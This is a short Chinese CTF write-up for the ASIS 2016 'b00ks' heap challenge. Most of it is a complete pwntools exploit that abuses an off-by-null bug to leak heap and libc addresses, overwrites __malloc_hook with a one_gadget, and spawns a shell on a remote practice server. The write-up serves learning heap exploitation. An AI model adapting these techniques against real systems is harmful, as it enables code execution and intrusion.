asis2016_b00ks(off-by-null *不一般)
作者:互联网
题目的例行检查我就不放了,将程序放入ida中
程序的输入这里有一个a1=0存在off by null
再进入add页面查看
可以看到程序申请了一个0x20大小的chunk保存着当前2chunk的地址指针和index的信息
所以我们可以通过仿造或者修改指针去达到任意申请和任意写的方式
首先我们需要填满author_name使得可以泄露出chunk的地址甚至基地址
完整exp如下
from pwn import * #p = process('./b00ks') p = remote('node4.buuoj.cn',26785) elf = ELF('./b00ks') libc = ELF('./libc-2.23.so') def launch_gdb(): context.terminal = ['xfce4-terminal','-x','sh','-c'] gdb.attach(proc.pidof(p)[0]) def add(namesize,name,desize,content): p.sendlineafter('> ','1') p.sendlineafter('size:',str(namesize)) p.sendlineafter('chars): ',name) p.sendlineafter(': ',str(desize)) p.sendlineafter(': ',content) def edit(index,content): p.sendlineafter('> ','3') p.sendlineafter('edit: ',str(index)) p.sendlineafter('description: ',content) def show(): p.sendlineafter('> ','4') def free(index): p.sendlineafter('> ','2') p.sendlineafter('delete: ',str(index)) def name(content): p.sendlineafter('> ','5') p.sendlineafter('name: ',content) #launch_gdb() p.sendlineafter('name: ','a'*0x20) add(0xd0,'aaaa',0x20,'bbbb') show() p.recvuntil('a'*32) heap_addr = u64(p.recv(6).ljust(8,b'\x00')) print('heap_addr--->'+hex(heap_addr)) add(0x80,'aaaa',0x60,'aaaa') add(0x10,'cccc',0x10,'aaaa') free(2) edit(1,p64(1)+p64(heap_addr+0x30)+p64(heap_addr+0x30+0x90)+p64(0x20)) name('a'*0x20) show() libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0x3c4b78 print('libc_base--->>'+hex(libc_base)) malloc_hook = libc_base + libc.sym['__malloc_hook'] relloc = libc_base + libc.sym['realloc'] one = [0x45216,0x4526a,0xf02a4,0xf1147] one_gadget = libc_base+one[1] edit(1,p64(malloc_hook-0x23)) add(0x60,'aaaa',0x60,b'a'*(0x13-0x08)+p64(one_gadget)+p64(relloc+14)) p.interactive()
这种题目还是建议亲手去调试一下理解的更快
结束!
标签:b00ks,off,name,libc,content,add,sendlineafter,null,p64 来源: https://www.cnblogs.com/zhuangzhouQAQ/p/15818637.html